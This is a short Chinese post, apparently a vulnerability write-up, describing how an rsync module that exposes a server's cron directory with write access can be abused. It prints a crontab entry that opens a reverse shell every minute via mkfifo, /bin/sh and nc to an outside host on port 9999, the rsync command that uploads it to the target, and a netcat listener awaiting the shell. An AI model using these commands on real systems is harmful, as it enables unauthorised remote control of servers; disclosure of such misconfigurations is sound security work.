激动么激动么，这是神马意思！！

这是说这位运维把cron目录通过rsync开放了么，如果开放了写权限会如何呢？
给它添加

#OMS-2819
*/1 * * * * ( rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc *.wooyun.org 9999 >/tmp/f )


然后

rsync /tmp/root [email protected]::cron/root


没有任何错误，我真是个天才，坐等shell

nc -l -vv 9999
Ncat: Version 6.25 ( http://nmap.org/ncat )

剩下的就是......
